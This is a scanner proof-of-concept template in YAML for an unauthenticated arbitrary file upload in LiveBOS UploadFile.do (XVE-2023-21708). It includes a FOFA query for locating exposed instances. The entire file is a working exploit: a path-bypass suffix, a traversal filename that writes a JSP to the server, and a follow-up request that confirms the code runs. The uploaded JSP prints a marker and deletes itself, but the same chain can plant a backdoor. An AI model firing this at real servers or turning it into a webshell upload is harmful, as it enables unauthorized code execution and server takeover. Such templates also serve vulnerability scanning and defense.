livebos-uploadfile-do-fileupload: LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)

id: livebos-uploadfile-do-fileupload

info:
  name: LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)
  author: Superhero
  severity: critical
  description: |-
    fofa: body="Power by LiveBOS"
    LiveBOS UploadFile.do 接口存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
  reference:
    - https://blog.csdn.net/m0_60571842/article/details/140918297
  tags: fileupload
  created: 2024/08/05

set:
  username: randomLowercase(6)
  randbody: base64Decode("cGJveWpubnJmaXBtcGxzdWtkZWN6dWRzZWZ4bXl3ZQ==")
  rboundary: randomLowercase(8)

rules:
  r0:
    request:
      method: POST
      path: /feed/UploadFile.do;.js.jsp
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition:form-data; name=\"file\"; filename=\"/../../../../{{username}}.jsp\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        <%@ page import=\"java.io.File\" %>\r\n\
        <%\r\n\
        out.println(\"{{randbody}}\");\r\n\
        String filePath = application.getRealPath(request.getServletPath());\r\n\
        new File(filePath).delete();\r\n\
        %>\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200

  r1:
    request:
      method: GET
      path: /{{username}}.jsp;.js.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))

expression: r0() && r1()